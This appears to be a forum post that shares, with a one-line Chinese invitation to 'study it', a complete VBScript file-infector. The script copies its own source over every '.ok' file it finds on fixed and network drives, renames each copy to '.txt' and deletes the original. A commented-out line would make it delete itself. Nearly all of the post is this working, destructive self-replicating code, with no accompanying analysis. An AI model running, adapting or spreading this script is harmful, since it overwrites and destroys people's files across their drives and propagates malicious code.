|
大家学习研究下^_^.
Dim a,lsfile,fso,fs,self,dr,vbscopy,files,fold,file,ext,fl,copyfile,alllen,extlen,leftname
Set fso=WScript.CreateObject("scripting.filesystemobject")
Set self=fso.OpenTextFile(WScript.scriptfullname,1)
vbscopy=self.ReadAll
self.Close
Set dr=fso.Drives
For Each a In dr
If a.drivetype=2 Or a.DriveType=3 Then
WScript.Echo a
scan(a)
End If
Next
'Set lsfile=fso.GetFile(WScript.ScriptFullName) '把自身删除
'lsfile.Delete(True)
WScript.Echo "^-^ over!"
Sub scan(folder1)
On Error Resume Next
Set fold=fso.GetFolder(folder1)
Set files=fold.Files
For Each file In files
ext=fso.GetExtensionName(file)
ext=LCase(ext)
If ext="ok" Then '要进行操作的文件类型
WScript.Echo "全名:"&file.Name&";扩展名:"&ext
Set fl=fso.OpenTextFile(file.Path,2,True)
fl.Write vbscopy
fl.Close
alllen=Len(file.Path)
extlen=Len(ext)
leftname=Left(file.Path,alllen-extlen-1)
Set copyfile=fso.GetFile(file.Path)
copyfile.Copy leftname&".txt"
file.Delete(True)
End if
Next
Set subfolders=fold.subfolders
For Each subfolder In subfolders
scan(subfolder)
Next
End sub |
|